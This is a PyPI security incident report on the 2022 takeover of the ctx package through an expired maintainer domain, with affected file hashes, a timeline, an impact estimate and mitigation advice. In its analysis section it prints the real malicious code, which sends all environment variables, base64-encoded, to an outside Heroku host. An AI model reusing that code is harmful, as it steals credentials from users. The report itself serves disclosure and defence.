========================================================= Account Takeover and Malicious Replacement of ctx Project ========================================================= Summary ======= The ``ctx`` hosted project on PyPI was taken over via user account compromise and replaced with a malicious project which contained runtime code which collected the content of ``os.environ.items()`` when instantiating ``Ctx`` objects. The captured environment variables were sent as a base64 encoded query parameter to a heroku application running at ``https://anti-theft-web.herokuapp.com``. Between 2022-05-14T19:18:36Z and 2022-05-24T10:07:17Z the release files listed below were hosted by PyPI at various times containing this malicious payload. If you installed the package between May 14, 2022 and May 24, 2022, and your environment variables contain sensitive data like passwords and API keys (like ``AWS_ACCESS_KEY_ID`` and ``AWS_SECRET_ACCESS_KEY``), we advise you rotate your passwords and keys, then perform an audit to determine if they were exploited. +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------+------------------------------------------------------------------+ | File | Upload Time | sha 256 digest | +============================================================================================================================================================================================+==========================+==================================================================+ | `ctx-0.2.2-py2.py3-none-any.whl `_ | 2022-05-21T12:41:57.066Z | acf05948020a86092943b40d6e5c5b51ec6087923f58942216b9c5e8b853d3fb | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------+------------------------------------------------------------------+ | `ctx-0.1.2-1-py2.py3-none-any.whl `_ | 2022-05-21T12:54:51.344Z | 5dc1bc1404c27699ee40fd71eeb586d6842e1478f9f14dab5d1763fc20dff3d3 | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------+------------------------------------------------------------------+ | `ctx-0.1.2-1.tar.gz `_ | 2022-05-21T12:54:53.384Z | b40297af54e3f99b02e105f013265fd8d0a1b1e1f7f0b05bcb5dbdc9125b3bb5 | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------+------------------------------------------------------------------+ | `ctx-0.2.3-py2.py3-none-any.whl `_ | 2022-05-21T16:17:17.016Z | f45a256c2f7aace635a82118dfadf6f6023315fc73d7d473b99acc40ecb12278 | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------+------------------------------------------------------------------+ | `ctx-0.2.3.tar.gz `_ | 2022-05-21T16:17:19.599Z | 15103c1af07a9a091dfe3b6c6dda9f1f11fd65bd9a878a9aaa79aee6bb8722cc | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------+------------------------------------------------------------------+ | `ctx-0.2.2.1-py2.py3-none-any.whl `_ | 2022-05-21T16:19:40.081Z | 5b484f642eaf4f5708d446e93f0f698f57bbece49d27808a59980358abdbe590 | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------+------------------------------------------------------------------+ | `ctx-0.2.2.1.tar.gz `_ | 2022-05-21T16:19:42.337Z | f7342f723517f24b13f2ab2f702abb78692288138c1053dbe64bccd8bc1175d5 | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------+------------------------------------------------------------------+ | `ctx-0.2.4-py2.py3-none-any.whl `_ | 2022-05-21T16:20:21.645Z | 280cc6f69a1cd80c9bf95272237d5620d14f226111066df1f0c0855722a89257 | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------+------------------------------------------------------------------+ | `ctx-0.2.4.tar.gz `_ | 2022-05-21T16:20:23.581Z | 9c1bb795d660ddb0c42166e546af06230443cbcda8780f0f3541017a8659e7cd | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------+------------------------------------------------------------------+ | `ctx-0.1.2-2-py2.py3-none-any.whl `_ | 2022-05-21T16:24:52.810Z | e212e12d0983a9d81812f14fac8c207d1dc67a4ec9043af9aea0799b528dafa1 | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------+------------------------------------------------------------------+ | `ctx-0.2.5-py2.py3-none-any.whl `_ | 2022-05-21T16:27:18.221Z | 86b8e1e529e9a566ac7ce7d85ffe4e5cf69df50cb0e6e38fbb6e34e6965815a0 | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------+------------------------------------------------------------------+ | `ctx-0.2.5.tar.gz `_ | 2022-05-21T16:27:19.867Z | 34c0ae0c77160355eefa8e43b1d8c68df31c448b5a28fe78f32300bf89eb0813 | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------+------------------------------------------------------------------+ | `ctx-0.2.6-py2.py3-none-any.whl `_ | 2022-05-21T16:28:19.342Z | 04b150ce4dbd2bcf054a9c2b676649f9da60b7ce2c74f31ebc4e1070dcc0fb94 | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------+------------------------------------------------------------------+ | `ctx-0.2.6.tar.gz `_ | 2022-05-21T16:28:21.490Z | 4fdfd4e647c106cef2a3b2503473f9b68259cae45f89e5b6c9272d04a1dfaeb0 | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------+------------------------------------------------------------------+ | `ctx-0.2.tar.gz `_ | 2022-05-14T23:52:46.207Z | 6c98fe4afa021885d5add151049aec7d812a31fb9a03bf5cdedefd42229b6b90 | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------+------------------------------------------------------------------+ | `ctx-0.2.1.tar.gz `_ | 2022-05-15T00:17:20.862Z | cdda4a2ec16bd52862e9b18aaa5525468318ba544fe426daeebc3d28e2b72897 | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------+------------------------------------------------------------------+ | `ctx-0.2.2.tar.gz `_ | 2022-05-15T00:44:53.658Z | b7644fa1e0872780690ce050c98aa2407c093473031ab5f7a8ce35c0d2fc077e | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------+------------------------------------------------------------------+ | `ctx-0.1.4.tar.gz `_ | 2022-05-14T19:18:36.994Z | 17714ef9ff6d2eabc631638e2f092115fa569843f9ab45b6e9da23912b72f482 | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------+------------------------------------------------------------------+ The original and sole releases prior to the compromise are still available as: +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------+------------------------------------------------------------------+ | File | Upload Time | sha 256 digest | +============================================================================================================================================================================================+==========================+==================================================================+ | `ctx-0.1.2-py2.py3-none-any.whl `_ | 2014-12-19T07:31:07.162Z | beb1628d6624b19c04a065fab6751feace594fd4072b3e649cafdd765182e441 | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------+------------------------------------------------------------------+ | `ctx-0.1.2.tar.gz `_ | 2014-12-19T07:31:04.062Z | edbff45647936da3cdadcfeaa64ee9f62b8ad629a5cea8caa4b63f5dc08b99c4 | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------+------------------------------------------------------------------+ * Disclosure date: **2022-05-24** (Response initiated via reports submitted via security policy on `pypi.org `_) * Disclosed by: Multiple Parties Analysis and Mitigation ======================= Once notified, a PyPI administrator confirmed that all current releases on the index contained a similar exfiltration mechanism in the contents of the ``ctx.py`` file of the release files:: class Ctx(dict): def __init__(self): self.sendRequest() def sendRequest(self): string = "" for _, value in os.environ.items(): string += value+" " message_bytes = string.encode('ascii') base64_bytes = base64.b64encode(message_bytes) base64_message = base64_bytes.decode('ascii') response = requests.get("https://anti-theft-web.herokuapp.com/hacked/"+base64_message) **Note:** Above code is reduced to core mechanism for clarity. With the malicious nature of all release files confirmed, the PyPI administrator used existing tools to: * Remove the project, all releases, and all release files from the index * Simultaneously prohibit the name ``ctx`` from being re-registered without admin intervention * Freeze the compromised user account of the owner The activity log of the user, action log on the project, metadata for all historical uploads (including malicious), archives of the files, and their locations in object storage were backed up for further analysis. WHOIS records were then queried to confirm that the domain associated with the owner user account had been recently registered on 2022-05-14T18:40:05Z. Activity logs for the owner user account were then used to confirm that malicious activity including password reset and uploads commenced just 12 minutes after domain registration. No mechanism for multi factor authentication was enabled for the owner user account. The PyPI administrators made the decision *not* to restore the original files at this time, as PyPI policies state that actions on the index including deletion are immutable. If there is sufficient reason to restore the removed files a process that complies with that contract will need to be developed. Impact Assessment ================= The ``ctx`` project was registered and uploaded to PyPI in 2014. According to Libraries.io, the project on PyPI that declares it as a dependency is ``context-engine``. No known repositories that Libraries.io analyzes declares ``ctx`` as a dependency. This is additionally confirmed by https://deps.dev/pypi/ctx/0.1.2/dependents. Before the malicious releases were uploaded, ``ctx`` saw on average 1600 downloads per day. After malicious releases were uploaded, downloads rose to a peak of 4548 on 2022-05-20. Rises like these are common after new project releases due to mirrors of PyPI syncing in new changes. In total we estimate that 27,000 malicious versions of this project were downloaded from PyPI, with the majority of "overage" downloads being driven by mirrors. This hypothesis is supported by data from analysis of requests to https://pypi.org/simple/ctx/ showing no associated rise in simple traffic from installers. .. image:: ./2022-05-24-ctx-domain-takeover-chart.png :width: 400 :alt: Chart showing simple request and download counts for ctx project on pypi Potential Future Mitigation =========================== Domain takeovers are a known attack vector for compromising individual user accounts on PyPI. PyPI administrators have responded to reports in the past of publicly visible email addresses associated with project metadata containing expired domains, which happened to match the domains of owner user accounts for projects. Performing this analysis on an ongoing basis and freezing accounts with expired or near expiration domains is a potential mitigation that could protect absent maintainers in the future, at the cost of increased support burden on the team of PyPI moderators and admins. Further Reccomendations ======================= We also advise all PyPI users, but especially project maintainers, to enable multi factor authentication on their PyPI accounts following the references at https://pypi.org/help/#twofa. Additionally, version-pinning and using `hash checking mode `_ would prevent this attack, which depends on users automatically upgrading to the latest available version at install-time. The safety and pip-audit projects can be used to check for known vulnerabilities in your dependencies: * https://github.com/pyupio/safety * https://github.com/trailofbits/pip-audit You can join the security-sig mailing list to discuss Python security: https://mail.python.org/mailman3/lists/security-sig.python.org/ Timeline ======== * Unknown: Domain hosting email for ``ctx`` owner user account expired * 2022-05-10: Password reset attempted for ``ctx`` owner user account * 2022-05-14T18:40:05Z: Domain associated with ``ctx`` owner user account registered * 2022-05-14T18:52:40Z: ``ctx`` owner user account password successfully reset * 2022-05-14T19:18:36Z - 2022-05-21T12:41:57Z: Malicious versions of ``ctx`` project uploaded * 2022-05-21T12:50:23.107588: Original benign versions of ``ctx`` removed from index * 2022-05-24: Reports of project takeover submitted on multiple channels including security@python.org * 2022-05-24T10:07:17Z: All malicious releases of ``ctx`` project removed from index, project name prohibited from re-registration, and owner user account frozen